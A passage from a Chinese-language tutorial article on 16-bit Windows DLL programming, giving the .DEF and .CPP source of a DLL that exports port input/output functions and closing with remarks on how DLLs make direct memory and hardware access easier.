}int FAR PASCAL WEP(int nParam)
{
return 1;
}
2.端口读写I/O的DLL源代码
//.DEF文件
LIBRARY PORTDLL
DESCRIPTION 'DLL FOR
PORT_IN_OUT '
EXETYPE WINDOWS
CODE PRELOAD MOVEABLE DISCARDABLE
DATA
PRELOAD MOVEABLE SINGLE
HEAPSIZE 1024//.CPP文件
#include
<windows.h>
#include <dos.h>int FAR PASCAL
LibMain(HINSTANCE hInstance,WORD wDataSeg,WORD wHeapSize,LPSTR lpszCmdLine)
{
if(wHeapSize!=0)
UnlockData(0);
return
1;
}int FAR PASCAL _export PortOut(int port,unsigned char value)
{
outp(port,value);
return 1;
}int FAR PASCAL _export PortIn(int port)
{
int result;
result=inp(port);
return (result);
}int FAR PASCAL _export WEP(int nParam)
{
return 1;
}
分别将上面两个实例的.DEF文件和.CPP文件各自组成一个.PRJ文件,并进行编译链接成.EXE或.DLL文件就可以在应用程序中对其进行调用。四、结束语
在上面，我们利用DLL技术方便地实现了Windows环境下对内存的直接访问和端口I/O的访问，仿效这两个例子，还可以编制出更多的适合自己应用系统所需的DLL，如用于数据采集卡的端口操作及扩展内存区访问、视频区缓冲区及BIOS数据区操作等许多实际应用的编程任务中。必要时只需直接更新DLL，而用不着对应用程序本身作任何改动就可以对应用程序的功能和用户接口作较大的改善，实现版本升级。因此，掌握好DLL技术对Windows程序开发者很有裨益。